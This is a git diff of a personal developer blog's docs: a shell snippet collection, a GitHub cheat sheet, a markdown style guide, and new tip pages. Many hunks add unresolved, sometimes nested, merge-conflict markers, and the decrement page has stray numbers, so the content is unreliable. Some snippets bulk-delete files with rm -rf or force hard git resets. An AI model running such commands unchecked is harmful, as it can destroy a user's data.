 ```sh
+=======
+```console
+>>>>>>> master
 
 find ./ -iname "*.md" -type f -exec sh -c 'pandoc --standalone "${0}" -o "${0%.md}.html"' {} \;
 
@@ -345,7 +411,11 @@ find ./ -iname "*.docx" -type f -exec sh -c 'pandoc "${0}" -o "${0%.docx}.md"' {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo apt install tree
 sudo apt install pandoc -y
 sudo apt install rename -y
@@ -357,7 +427,11 @@ npm i npm-recursive-install -g
 
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 black .
 
 prettier --write .
@@ -374,7 +448,11 @@ npm-recursive-install
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 npm i @bgoonz11/repoutils
 
 ```
@@ -389,7 +467,11 @@ npm i @bgoonz11/repoutils
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 tree -d -I  'node_modules'
 
 tree  -I  'node_modules'
@@ -416,7 +498,11 @@ tree -f >README.md
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -type f -exec rename 's/string1/string2/g' {} +
 
@@ -444,7 +530,11 @@ find . -type d -exec rename 's/es6//g' {} +
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 #!/bin/bash
 
 for file in *.md.md
@@ -460,7 +550,11 @@ do
 done
 ```
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 #!/bin/bash
 
@@ -486,7 +580,11 @@ done
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 for d in ./*; do mv $d ${d:0:12}; done
 
@@ -521,7 +619,11 @@ fs.writeFile('output.md', cat, (err) => {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find . -name "* *" -type f | rename 's/_//g'
 
 find . -name "* *" -type d | rename 's/#/_/g'
@@ -538,7 +640,11 @@ find . -name "* *" -type d | rename 's/#/_/g'
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find . -name '.bin' -type d -prune -exec rm -rf '{}' +
 
 find . -name '*.html' -type d -prune -exec rm -rf '{}' +
@@ -563,7 +669,11 @@ find . -name 'left.html' -type f -prune -exec rm -rf '{}' +
 
 > Notes: Remove lines not containing `'.js'`
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 sudo sed -i '/\.js/!d' ./*scrap2.md
 
@@ -571,7 +681,11 @@ sudo sed -i '/\.js/!d' ./*scrap2.md
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo sed -i '/githubusercontent/d' ./*sandbox.md
 
 sudo sed -i '/githubusercontent/d' ./*scrap2.md
@@ -597,7 +711,11 @@ Now, let's understand the use of this with the help of an example. Suppose you h
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo apt install uniq
 uniq -u input.txt output.txt
 
@@ -613,7 +731,11 @@ uniq -u input.txt output.txt
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo sed -i '/githubusercontent/d' ./*sandbox.md
 
 sudo sed -i '/githubusercontent/d' ./*scrap2.md
@@ -651,7 +773,11 @@ sudo sed -i '/right\.html/d' ./right.html
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 #!/bin/bash
 TSTAMP=`date '+%Y%m%d-%H%M%S'`
@@ -678,7 +804,11 @@ printf "\nCreated: $1.$TSTAMP.zip\n"
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find . | xargs grep -l www.redhat.com | awk '{print "rm "$1}' > doit.sh
 vi doit.sh // check for murphy and his law
 source doit.sh
@@ -695,7 +825,11 @@ source doit.sh
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 #!/bin/sh
 
@@ -802,13 +936,21 @@ cmd $listing --sort=extension >>$html
 
 > Notes: Useful Follow up Code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ```
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 #!/bin/sh
 
@@ -916,7 +1058,11 @@ cmd $listing --sort=extension >>$html
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git filter-branch --index-filter 'git rm -r --cached --ignore-unmatch assets/_index.html' HEAD
 
@@ -936,7 +1082,11 @@ If you have any files that are not tracked by Git (e.g. uploaded user content),
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git fetch --all
 # Backup your current branch:
@@ -975,7 +1125,11 @@ git reset --hard origin/master
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 git submodule deinit
 ```
 
@@ -989,7 +1143,11 @@ git submodule deinit
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo apt install wget
 
 wget -q -O - https://api.github.com/users/bgoonz/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n3 wget
@@ -1012,7 +1170,11 @@ wget -q -O - https://api.github.com/users/thomasmb/gists | grep raw_url | awk -F
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git remote remove origin
 
@@ -1028,7 +1190,11 @@ git remote remove origin
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-Web-Dev-Archive.git
 
@@ -1044,7 +1210,11 @@ git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-We
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 git reset --hard master@{"10 minutes ago"}
 
@@ -1060,7 +1230,11 @@ git reset --hard master@{"10 minutes ago"}
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 # Safe:
 
  lebab --replace ./ --transform arrow
@@ -1135,7 +1309,11 @@ lebab --replace ./ --transform includes
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 npm i mediumexporter -g
 
 mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascript-8f9f709c15b4 >ds.md
@@ -1152,7 +1330,11 @@ mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascrip
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -size +75M -a -print -a -exec rm -f {} \;
 
@@ -1170,7 +1352,11 @@ find . -size +98M -a -print -a -exec rm -f {} \;
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 wget -r -A.pdf https://overapi.com/git
 
@@ -1186,7 +1372,11 @@ wget -r -A.pdf https://overapi.com/git
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 killall -s KILL node
 
 ```
@@ -1199,7 +1389,11 @@ killall -s KILL node
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find <mydir> -type f -exec sed -i 's/<string1>/<string2>/g' {} +
 
 find . -type f -exec rename 's/-master//g' {} +
@@ -1208,7 +1402,11 @@ find . -type f -exec rename 's/-master//g' {} +
 
 > Notes: The same could be done for folder names by changing the _-type f_ flag (for file) to a _-type d_ flag (for directory)
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 find <mydir> -type d -exec sed -i 's/<string1>/<string2>/g' {} +
 
 find . -type d -exec rename 's/-master//g' {} +
@@ -1225,7 +1423,11 @@ find . -type d -exec rename 's/-master//g' {} +
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -name "* *" -type d | rename 's/ /_/g'
 find . -name "* *" -type f | rename 's/ /_/g'
@@ -1241,7 +1443,11 @@ find . -name "* *" -type f | rename 's/ /_/g'
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 for i in */; do zip -r "${i%/}.zip" "$i"; done
 
 ```
@@ -1387,7 +1593,11 @@ foreach ($ZipFile in $ZipFiles) {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
  sudo apt --purge remove zsh
 
 ```
@@ -1402,7 +1612,11 @@ foreach ($ZipFile in $ZipFiles) {
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 ln -s "$(pwd)" ~/NameOfLink
 
@@ -1420,7 +1634,11 @@ ln -s "$(pwd)" ~/Downloads
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 npx @appnest/readme generate
 
@@ -1436,7 +1654,11 @@ npx @appnest/readme generate
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 sudo -u postgres psql
 ```
 
@@ -1484,7 +1706,11 @@ https://repl.it/@bgoonz/Database-Prac?lite=true&amp;referrer=https%3A%2F%2Fbryan
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 
 find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
 
@@ -1502,7 +1728,11 @@ find . -name *right.html  -type f -exec sed -i 's/target="_parent"//g' {} +
 
 ###### code:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 #!/bin/bash
 
 # SHORTCUTS and HISTORY
diff --git a/src/pages/docs/reference/github-resources.md b/src/pages/docs/reference/github-resources.md
index f544a43b39..65b9eeed8b 100644
--- a/src/pages/docs/reference/github-resources.md
+++ b/src/pages/docs/reference/github-resources.md
@@ -124,7 +124,7 @@ https://github.com/rails/rails/commits/master?author=dhh
 
 When cloning a repository the `.git` can be left off the end.
 
-```bash
+```console
 $ git clone https://github.com/tiimgreen/github-cheat-sheet
 ```
 
@@ -210,7 +210,7 @@ Add `.pibb` to the end of any Gist URL ([like this](https://gist.github.com/tiim
 
 Gists can be treated as a repository so they can be cloned like any other:
 
-```bash
+```console
 $ git clone https://gist.github.com/tiimgreen/10545817
 ```
 
@@ -218,7 +218,7 @@ $ git clone https://gist.github.com/tiimgreen/10545817
 
 This means you also can modify and push updates to Gists:
 
-```bash
+```console
 $ git commit
 $ git push
 Username for 'https://gist.github.com':
@@ -236,7 +236,7 @@ However, Gists do not support directories. All files need to be added to the rep
 
 You can also use it via pure HTTP using Curl:
 
-```bash
+```console
 $ curl -i http://git.io -F "url=https://github.com/..."
 HTTP/1.1 201 Created
 Location: http://git.io/abc123
@@ -280,7 +280,7 @@ https://github.com/rails/rails/blob/master/activemodel/lib/active_model.rb#L53-L
 
 If a particular commit fixes an issue, any of the keywords `fix/fixes/fixed`, `close/closes/closed` or `resolve/resolves/resolved`, followed by the issue number, will close the issue once it is committed to the repository's default branch.
 
-```bash
+```console
 $ git commit -m "Fix screwup, fixes #12"
 ```
 
@@ -633,7 +633,7 @@ GitHub can display several common image formats, including PNG, JPG, GIF, and PS
 
 This allows you to do things like:
 
-```bash
+```console
 $ hub clone tiimgreen/toc
 ```
 
@@ -748,13 +748,13 @@ Changing to a template repository will give a new URL endpoint which can be shar
 
 When you delete a lot of files using `/bin/rm` you can use the following command to remove them from the working tree and from the index, eliminating the need to remove each one individually:
 
-```bash
+```console
 $ git rm $(git ls-files -d)
 ```
 
 For example:
 
-```bash
+```console
 $ git status
 On branch master
 Changes not staged for commit:
@@ -776,7 +776,7 @@ Changes to be committed:
 
 To move to the previous branch in Git:
 
-```bash
+```console
 $ git checkout -
 # Switched to branch 'master'
 
@@ -799,7 +799,7 @@ Git Stripspace:
 
 A file must be passed when calling the command, e.g.:
 
-```bash
+```console
 $ git stripspace < README.md
 ```
 
@@ -811,13 +811,13 @@ Pull Requests are special branches on the GitHub repository which can be retriev
 
 Retrieve a specific Pull Request and store it temporarily in `FETCH_HEAD` for quickly `diff`-ing or `merge`-ing:
 
-```bash
+```console
 $ git fetch origin refs/pull/[PR-Number]/head
 ```
 
 Acquire all Pull Request branches as local remote branches by refspec:
 
-```bash
+```console
 $ git fetch origin '+refs/pull/*/head:refs/remotes/origin/pr/*'
 ```
 
@@ -838,23 +838,23 @@ Or setup the remote to fetch Pull Requests automatically by adding these corresp
 
 For Fork-based Pull Request contributions, it's useful to `checkout` a remote branch representing the Pull Request and create a local branch from it:
 
-```bash
+```console
 $ git checkout pr/42 pr-42
 ```
 
 Or should you work on more repositories, you can globally configure fetching pull requests in the global git config instead.
 
-```bash
+```console
 git config --global --add remote.origin.fetch "+refs/pull/*/head:refs/remotes/origin/pr/*"
 ```
 
 This way, you can use the following short commands in all your repositories:
 
-```bash
+```console
 git fetch origin
 ```
 
-```bash
+```console
 git checkout pr/42
 ```
 
@@ -864,7 +864,7 @@ git checkout pr/42
 
 Commits can be pushed with no code changes by adding `--allow-empty`:
 
-```bash
+```console
 $ git commit -m "Big-ass commit" --allow-empty
 ```
 
@@ -879,7 +879,7 @@ Some use-cases for this (that make sense), include:
 
 Running:
 
-```bash
+```console
 $ git status
 ```
 
@@ -889,7 +889,7 @@ produces:
 
 By adding `-sb`:
 
-```bash
+```console
 $ git status -sb
 ```
 
@@ -903,7 +903,7 @@ this is produced:
 
 Running:
 
-```bash
+```console
 $ git log --all --graph --pretty=format:'%Cred%h%Creset -%C(auto)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --date=relative
 ```
 
@@ -921,13 +921,13 @@ _This can be aliased using the instructions found [here](https://github.com/tiim
 
 A Git query allows you to search all your previous commit messages and find the most recent one matching the query.
 
-```bash
+```console
 $ git show :/query
 ```
 
 where `query` (case-sensitive) is the term you want to search, this then finds the last one and gives details on the lines that were changed.
 
-```bash
+```console
 $ git show :/typo
 ```
 
@@ -941,7 +941,7 @@ Git Grep will return a list of lines matching a pattern.
 
 Running:
 
-```bash
+```console
 $ git grep aliases
 ```
 
@@ -958,7 +958,7 @@ You can also use multiple flags for more advanced search. For example:
 
 Use it like this:
 
-```bash
+```console
  $ git grep -e pattern --and -e anotherpattern
 ```
 
@@ -968,7 +968,7 @@ Use it like this:
 
 Running:
 
-```bash
+```console
 $ git branch --merged
 ```
 
@@ -976,7 +976,7 @@ will give you a list of all branches that have been merged into your current bra
 
 Conversely:
 
-```bash
+```console
 $ git branch --no-merged
 ```
 
@@ -988,7 +988,7 @@ will give you a list of branches that have not been merged into your current bra
 
 If there is something wrong with a previous commit (can be one or more from HEAD), for example `abcde`, run the following command after you've amended the problem:
 
-```bash
+```console
 $ git commit --fixup=abcde
 $ git rebase abcde^ --autosquash -i
 ```
@@ -1000,7 +1000,7 @@ $ git rebase abcde^ --autosquash -i
 
 Use the Git `instaweb` command to instantly browse your working repository in `gitweb`. This command is a simple script to set up `gitweb` and a web server for browsing the local repository.
 
-```bash
+```console
 $ git instaweb
 ```
 
@@ -1033,19 +1033,19 @@ To add an alias, either navigate to `~/.gitconfig` and fill it out in the follow
 
 ...or type in the command-line:
 
-```bash
+```console
 $ git config --global alias.new_alias git_function
 ```
 
 For example:
 
-```bash
+```console
 $ git config --global alias.cm commit
 ```
 
 For an alias with multiple functions use quotes:
 
-```bash
+```console
 $ git config --global alias.ac 'add -A . && commit'
 ```
 
@@ -1071,7 +1071,7 @@ Git gives suggestions for misspelled commands and if auto-correct is enabled the
 
 For example, if you type `git comit` you will get this:
 
-```bash
+```console
 $ git comit -m "Message"
 # git: 'comit' is not a git command. See 'git --help'.
 
@@ -1081,13 +1081,13 @@ $ git comit -m "Message"
 
 Auto-correct can be enabled like this (with a 1.5 second delay):
 
-```bash
+```console
 $ git config --global help.autocorrect 15
 ```
 
 So now the command `git comit` will be auto-corrected to `git commit` like this:
 
-```bash
+```console
 $ git comit -m "Message"
 # WARNING: You called a Git command named 'comit', which does not exist.
 # Continuing under the assumption that you meant 'commit'
@@ -1100,7 +1100,7 @@ The delay before git will rerun the command is so the user has time to abort.
 
 To add more color to your Git output:
 
-```bash
+```console
 $ git config --global color.ui 1
 ```
 
diff --git a/src/pages/docs/reference/markdown-styleguide.md b/src/pages/docs/reference/markdown-styleguide.md
index 6a25b56b4c..09e507a1ea 100644
--- a/src/pages/docs/reference/markdown-styleguide.md
+++ b/src/pages/docs/reference/markdown-styleguide.md
@@ -1086,13 +1086,13 @@ improperly-indented code block (or similar) appears between two list items and
 
 <!-- markdownlint-disable code-fence-style -->
 
-```markdown
+````markdown
 1. First list
 
 ```text
 Code block
 ```
-```
+````
 
 1. Second list
 
@@ -1101,7 +1101,7 @@ Code block
 The fix is to indent the code block so it becomes part of the preceding list
 item as intended:
 
-```markdown
+````markdown
 1. First list
 
     ```text
@@ -1109,7 +1109,7 @@ item as intended:
     ```
 
 2. Still first list
-```
+````
 
 <!-- markdownlint-restore -->
 
@@ -1584,23 +1584,33 @@ echo Hello world
 
 To fix this, add a language specifier to the code block:
 
-```markdown
-```bash
+````markdown
+```console
 #!/bin/bash
 echo Hello world
 ```
-```
+````
 
 ```
 
 ```
 
+<<<<<<< HEAD
+=======
+````
+
+>>>>>>> master
 To display a code block without syntax highlighting, use:
 
 ```markdown
 ```text
 Plain text in a code block
+<<<<<<< HEAD
 ```
+=======
+````
+
+>>>>>>> master
 ```
 
 ```
@@ -1899,11 +1909,11 @@ Parameters: style ("consistent", "tilde", "backtick"; default "consistent")
 This rule is triggered when the symbols used in the document for fenced code
 blocks do not match the configured code fence style:
 
-```markdown
+````markdown
 ```ruby
 # Fenced code
 ```
-```
+````
 
 ```
 
@@ -1911,7 +1921,7 @@ blocks do not match the configured code fence style:
 # Fenced code
 ```
 
-```
+````
 
 To fix this issue, use the configured code fence style throughout the
 document:
@@ -1919,7 +1929,7 @@ document:
 ```markdown
 ```ruby
 # Fenced code
-```
+````
 
 ```ruby
 # Fenced code
diff --git a/src/pages/docs/resources/index.md b/src/pages/docs/resources/index.md
new file mode 100644
index 0000000000..e9bfd3cd1e
--- /dev/null
+++ b/src/pages/docs/resources/index.md
@@ -0,0 +1,5 @@
+---
+title: Resources
+template: docs
+---
+hi
\ No newline at end of file
diff --git a/src/pages/docs/sitemap.md b/src/pages/docs/sitemap.md
index c5bd43151b..3ddbf68894 100644
--- a/src/pages/docs/sitemap.md
+++ b/src/pages/docs/sitemap.md
@@ -30,6 +30,7 @@ seo:
 template: docs
 ---
 
+
 # [**➡️🏠🏠HOME🏠🏠⬅️**](https://bgoonz-blog.netlify.app/)
 
 <center>
@@ -61,6 +62,7 @@ template: docs
 ##### [**<ins>Blog Article List</ins>**](https://bgoonz-blog.netlify.app/blog)
 
 -   [📰blog📰](https://bgoonz-blog.netlify.app/blog/web-scraping)
+<<<<<<< HEAD
     -   [📰blog📰/300-react-questions⚛](https://bgoonz-blog.netlify.app/blog/300-react-questions)
     -   [📰blog📰/awesome-graphql፨](https://bgoonz-blog.netlify.app/blog/awesome-graphql)
     -   [📰blog📰/big-o-complexity](https://bgoonz-blog.netlify.app/blog/big-o-complexity)
@@ -77,6 +79,31 @@ template: docs
     -   [📰blog📰/python-resources](https://bgoonz-blog.netlify.app/blog/python-resources)
     -   [📰blog📰/web-dev-trends](https://bgoonz-blog.netlify.app/blog/web-dev-trends)
     -   [📰blog📰/web-scraping](https://bgoonz-blog.netlify.app/blog/web-scraping)
+=======
+    - [📰300-react-questions](https://bgoonz-blog.netlify.app/blog/300-react-questions)
+- [📰adding-css-to-your-html](https://bgoonz-blog.netlify.app/blog/adding-css-to-your-html)
+- [📰awesome-graphql](https://bgoonz-blog.netlify.app/blog/awesome-graphql)
+- [📰big-o-complexity](https://bgoonz-blog.netlify.app/blog/big-o-complexity)
+- [📰blog-archive](https://bgoonz-blog.netlify.app/blog/blog-archive)
+- [📰data-structures](https://bgoonz-blog.netlify.app/blog/data-structures)
+- [📰data-structures-algorithms-resources](https://bgoonz-blog.netlify.app/blog/data-structures-algorithms-resources)
+- [📰expressjs-apis](https://bgoonz-blog.netlify.app/blog/expressjs-apis)
+- [📰flow-control-in-python](https://bgoonz-blog.netlify.app/blog/flow-control-in-python)
+- [📰functions-in-python](https://bgoonz-blog.netlify.app/blog/functions-in-python)
+- [📰git-gateway](https://bgoonz-blog.netlify.app/blog/git-gateway)
+- [📰hoisting](https://bgoonz-blog.netlify.app/blog/hoisting)
+- [📰interview-questions-js](https://bgoonz-blog.netlify.app/blog/interview-questions-js)
+- [📰interview-questions-js-p2](https://bgoonz-blog.netlify.app/blog/interview-questions-js-p2)
+- [📰interview-questions-js-p3](https://bgoonz-blog.netlify.app/blog/interview-questions-js-p3)
+- [📰netlify-cms](https://bgoonz-blog.netlify.app/blog/netlify-cms)
+- [📰platform-docs](https://bgoonz-blog.netlify.app/blog/platform-docs)
+- [📰psql-cheat-sheet](https://bgoonz-blog.netlify.app/blog/psql-cheat-sheet)
+- [📰python-for-js-dev](https://bgoonz-blog.netlify.app/blog/python-for-js-dev)
+- [📰python-resources](https://bgoonz-blog.netlify.app/blog/python-resources)
+- [📰vs-code-extensions](https://bgoonz-blog.netlify.app/blog/vs-code-extensions)
+- [📰web-dev-trends](https://bgoonz-blog.netlify.app/blog/web-dev-trends)
+- [📰web-scraping](https://bgoonz-blog.netlify.app/blog/web-scraping)
+>>>>>>> master
 
 </details>
 
diff --git a/src/pages/docs/tips/7-tips-to-become-a-better-web-developer/index.md b/src/pages/docs/tips/7-tips-to-become-a-better-web-developer/index.md
new file mode 100644
index 0000000000..7177b4d17c
--- /dev/null
+++ b/src/pages/docs/tips/7-tips-to-become-a-better-web-developer/index.md
@@ -0,0 +1,62 @@
+---
+title: 7 tips to become a better web developer
+template: docs
+excerpt: Never stop learning
+---
+
+### 1\. Never stop learning
+
+No matter how experienced a web developer you are, programming is a process of constantly learning. As new technologies and frameworks are released, you’ll have to keep yourself informed to remain competitive.
+
+Dive into Stack Overflow and GitHub to find the answers to questions you have, or just to scan through the questions other developers are asking. Develop a reading list of industry blogs and magazines. We like these resources:
+
+-   [Smashing Magazine](https://www.freelancer.com/community/“https:/www.smashingmagazine.com/“)
+-   [CodePen Blog](https://www.freelancer.com/community/“https:/blog.codepen.io/“)
+-   [GitHub Blog](https://www.freelancer.com/community/“https:/github.blog/“)
+-   [Coding Horror](https://www.freelancer.com/community/“https:/blog.codinghorror.com/“)
+-   [CSS Weekly](https://www.freelancer.com/community/“https:/css-weekly.com/“)
+-   [Freelancer](https://www.freelancer.com/web-development) (OK, we’re slightly biased)
+
+### 2\. Contribute to open-source
+
+Working solely on your own projects can give you tunnel vision. Furthermore, leaving coding to work hours limits your opportunity for development. If you really want to mature as a developer, get into coding as a hobby for the pure joy of it. In other words, get involved in open-source.
+
+Jump on GitHub and start contributing to open-source projects. Helping other developers solve problems will help nurture your own creativity and problem-solving skills. As a side bonus, it also raises your profile as a developer. When you do good work on open-source projects, you start to develop a strong reputation in the development community. This can open up new opportunities in the future.
+
+### 3\. Conduct code review
+
+Most companies already have a culture of code review. Before code gets pushed, the development team shares it with each other for a sanity check. If you’re fortunate, this process is already in place where you work. If it’s not, you can be the one to start it.
+
+Code review not only helps pick up problems in your code before they turn into bugs on your site. It also makes you put more thought into why you wrote your code the way you did. When you have to explain and defend the way you chose to solve a problem, it helps you reflect on the “why” behind your choices. Ultimately, this can help identify and eliminate bad habits, and teach you new skills.
+
+### 4\. Document properly
+
+We can’t emphasize this strongly enough: **comment your damn code**. In a perfect world, documentation wouldn’t be necessary. Code would always be written for human readability first, and machine interpretation second. This is not a perfect world.
+
+There are times when code cannot be further simplified or made more readable. It’s these times that commenting is imperative. Your comments explain to other developers the what, how and why of your codebase. It also helps _you_ understand.
+
+Not only does commenting provide time for self-reflection and assessment of your code. It also provides a useful guide for you in the future should you have to set a project aside and come back to it later. Trust us. Future you will thank present you for taking the time to comment.
+
+### 5\. Build on the work of others
+
+The great thing about web development is that you have a vast community of intellectual capital to draw from. Web developers have done and are continuing to do amazing things that push the boundaries of the internet experience.
+
+Find sites that you like, that have done unique and exciting things. Then learn from them and shamelessly rip them off. It’s as simple as inspecting the source code for the site to see how they’ve accomplished what they’ve accomplished.
+
+The work of other developers is an invaluable teaching tool. Build yourself a “swipe file” of websites that excite you, ones with features and functionality you want to emulate. Learn from their code. Or even go the extra mile and reach out to their developers.
+
+### 6\. Code for a purpose
+
+Writing code is a means to an end, not an end in itself. It’s important to identify _why_ you’re writing code for your site. What are you trying to achieve?
+
+Any coding effort is actually a business effort. If you’re working on a freelance project, make sure you understand the client’s business goals and aspirations before you start coding. It’s the best way to determine if what you’re producing is going to help achieve the desired outcome.
+
+Likewise, if you’re writing code for your own site, think about the big picture. What are your goals for the site? What is its reason for being? In a landscape with nearly 200 million websites, you have to do something to make yours stand apart. Having a clear idea of the outcome you want will bring more focus to your web development.
+
+### 7\. Sandbox your experiments
+
+When you’re learning web development, front end or back end, you’re going to make mistakes. A lot of them, in all likelihood. Sandboxing your experimentation ensures those mistakes won’t have dire consequences.
+
+You can sandbox your code by setting up a server environment on your computer. We’d go with MAMP for Mac users, WAMP for Windows users or LAMP for Linux users.
+
+Keeping experimental code confined to a server environment on your machine means that any mistakes you make can be easily identified and won’t impact your entire codebase. It gives you the freedom to play around, and to fail. And failing is an important part of learning.
\ No newline at end of file
diff --git a/src/pages/docs/tips/decrement/index.md b/src/pages/docs/tips/decrement/index.md
new file mode 100644
index 0000000000..ac354b0c74
--- /dev/null
+++ b/src/pages/docs/tips/decrement/index.md
@@ -0,0 +1,109 @@
+---
+title: Decrement
+template: docs
+excerpt: The decrement operator (--) decrements (subtracts one from) its operand
+  and returns a value.
+---
+# Decrement (--)
+
+The decrement operator (`--`) decrements (subtracts one from) its operand and returns a value.
+
+## Syntax
+
+    Operator: x-- or --x
+
+## Description
+
+If used postfix, with operator after operand (for example, `x--`), the decrement operator decrements and returns the value before decrementing.
+
+If used prefix, with operator before operand (for example, `--x`), the decrement operator decrements and returns the value after decrementing.
+
+## Examples
+
+### Postfix decrement
+
+    let x = 3;
+    y = x--;
+
+    // y = 3
+    // x = 2
+
+### Prefix decrement
+
+    let a = 2;
+    b = --a;
+
+    // a = 1
+    // b = 1
+
+## Specifications
+
+<table>
+<thead>
+<tr class="header">
+<th>Specification</th>
+</tr>
+</thead>
+<tbody>
+<tr class="odd">
+<td>
+<a href="https://tc39.es/ecma262/#sec-postfix-decrement-operator">ECMAScript Language Specification (ECMAScript) 
+<br/>
+
+<span class="small">#sec-postfix-decrement-operator</span>
+</a>
+</td>
+</tr>
+</tbody>
+</table>
+
+`Decrement`
+<<<<<<< HEAD
+=======
+<<<<<<< HEAD
+=======
+>>>>>>> 76d6dc51101acf3d9dde932dc7a18ffb67c9eb9a
+
+2
+
+12
+
+1
+
+3
+
+3
+
+4
+
+1
+
+18
+
+4
+
+10.1
+
+3.2
+
+1.0
+
+## See also
+
+-   [Addition operator](addition)
+-   [Subtraction operator](subtraction)
+-   [Division operator](division)
+-   [Multiplication operator](multiplication)
+-   [Remainder operator](remainder)
+-   [Exponentiation operator](exponentiation)
+-   [Increment operator](increment)
+-   [Unary negation operator](unary_negation)
+-   [Unary plus operator](unary_plus)
+
+ 
+Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.  
+<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement" class="_attribution-link">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement</a>
+<<<<<<< HEAD
+=======
+>>>>>>> d1e8c5a51 ( update)
+>>>>>>> 76d6dc51101acf3d9dde932dc7a18ffb67c9eb9a
diff --git a/src/pages/docs/tips/firebase-hosting/index.md b/src/pages/docs/tips/firebase-hosting/index.md
new file mode 100644
index 0000000000..b7e6f8772e
--- /dev/null
+++ b/src/pages/docs/tips/firebase-hosting/index.md
@@ -0,0 +1,53 @@
+---
+title: Firebase Hosting
+template: docs
+excerpt: Firebase Hosting integrates with serverless computing options,
+    including Cloud Functions for Firebase and Cloud Ru
+---
+
+<!--StartFragment-->
+
+# Serve dynamic content and host microservices using Firebase Hosting
+
+\[ ]
+
+Firebase Hosting integrates with serverless computing options, including Cloud Functions for Firebase and Cloud Run. Using Firebase Hosting with these options, you can host microservices by directing HTTPS requests to trigger your functions and containerized apps to run in a managed, secure environment.
+
+**[Cloud Functions for Firebase](https://firebase.google.com/docs/hosting/functions)**: You write and deploy a function, which is backend code that responds to a specific trigger. Then, using Firebase Hosting, you can direct HTTPS requests to trigger your function to run.
+
+**[Cloud Run](https://firebase.google.com/docs/hosting/cloud-run)**: You write and deploy an application packaged in a container image. Then, using Firebase Hosting, you can direct HTTPS requests to trigger your containerized app to run.
+
+## Use cases
+
+How can you use serverless computing options with Firebase Hosting?
+
+-   **Serve dynamic content** — In addition to serving static content on your Hosting site, you can serve dynamically generated responses from a function or containerized app that is performing server-side logic.
+
+    For example, you can point a URL pattern (like `/blog/<blog-post-id>`) to a function that uses the URL's blog post ID parameter to retrieve content dynamically from your database.
+
+-   **Build REST APIs** — You can create a microservice API using functions.
+
+    For instance, functions can handle the sign-in functionality for your website. While your website is hosted at `/`, any request to `/api` is redirected to your microservice API. For an example, check out [this open-source sample](https://github.com/firebase/functions-samples/tree/Node-8/authenticated-json-api).
+
